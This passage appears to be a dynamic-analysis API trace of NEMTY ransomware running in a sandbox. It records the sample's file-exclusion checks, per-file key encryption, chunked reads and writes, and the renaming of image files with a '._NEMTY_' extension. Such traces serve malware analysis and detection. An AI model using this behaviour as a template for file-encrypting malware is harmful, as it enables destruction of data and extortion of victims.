lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0069.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0069.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0069.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0069.826] Sleep (dwMilliseconds=0x5) [0069.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd463090, dwHighDateTime=0x1d561e7)) [0069.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd463090, dwHighDateTime=0x1d561e7)) [0069.840] GetLastError () returned 0x5 [0069.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.840] GetLastError () returned 0x5 [0069.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.840] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0069.840] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0069.840] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0069.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0069.840] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="rfKeqrlbdBTDcM5TL43kY3GCWqQ4ioh4rLM4TURGvam9v8wMtC7cKTOAvdrHT4lJ\r\ninsgIavFbgy4a85oDOZnwoKvwP3KgAibgbP8tN3cKHM+UtxwQ3+QpHWbRdTO1D3L\r\nDkNmWDVOgtvPr2qp9jgfiFfHWZDxmPSQZT9/RyvKXv61ULsvozoEz7FMhcNy9Uir\r\nmJNR0DHLlPZs1LwxJyawDlqIh3rD5krIHo7Vn3xVc5qXCrIfOxBqXi4GYpHmbBfo\r\nEdoZJxUVF5xUnV+N845c4mYNi36+mtPPZKVy78ZV6T8Zq+trNQPfJPMh/EMu2fdp\r\nZO4HxuAxZRJDz1bkKMORJw==\r\n", pcchString=0x653e91c) returned 1 [0069.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0069.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0069.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0069.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0069.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0069.840] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0069.841] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0069.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0069.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.953] CloseHandle (hObject=0xffffffff) returned 0 [0069.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0069.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0069.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63402c8 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.953] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png._nemty_kgobjgd_")) returned 0 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.953] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0069.953] lstrcmpiW (lpString1="decorative_rule.png", lpString2=".") returned 1 [0069.953] lstrcmpiW (lpString1="decorative_rule.png", lpString2="..") returned 1 [0069.953] lstrcmpiW (lpString1="decorative_rule.png", lpString2="...") returned 1 [0069.953] lstrcmpiW (lpString1="decorative_rule.png", lpString2="windows") returned -1 [0069.953] lstrcmpiW (lpString1="decorative_rule.png", lpString2="$RECYCLE.BIN") returned 1 [0069.953] lstrcmpiW (lpString1="decorative_rule.png", lpString2="rsa") returned -1 [0069.953] lstrcmpiW (lpString1="decorative_rule.png", lpString2="NTDETECT.COM") returned -1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="ntldr") returned -1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="MSDOS.SYS") returned -1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="IO.SYS") returned -1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="boot.ini") returned 1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="boot.ini") returned 1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="AUTOEXEC.BAT") returned 1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="ntuser.dat") returned -1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="desktop.ini") returned -1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="CONFIG.SYS") returned 1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="RECYCLER") returned -1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="BOOTSECT.BAK") returned 1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="bootmgr") returned 1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="programdata") returned -1 [0069.954] lstrcmpiW (lpString1="decorative_rule.png", lpString2="appdata") returned 1 [0069.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0069.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="decorative_rule.png", lpUsedDefaultChar=0x0) returned 19 [0069.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0069.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0069.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="decorative_rule.png", lpUsedDefaultChar=0x0) returned 19 [0069.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0069.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0069.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="decorative_rule.png", lpUsedDefaultChar=0x0) returned 19 [0069.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0069.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="decorative_rule.png", lpUsedDefaultChar=0x0) returned 19 [0069.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0069.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0069.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0069.955] Sleep (dwMilliseconds=0x5) [0069.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd593b90, dwHighDateTime=0x1d561e7)) [0069.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd593b90, dwHighDateTime=0x1d561e7)) [0069.970] GetLastError () returned 0x5 [0069.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.970] GetLastError () returned 0x5 [0069.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0069.971] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0069.971] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0069.971] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0069.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0069.971] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: 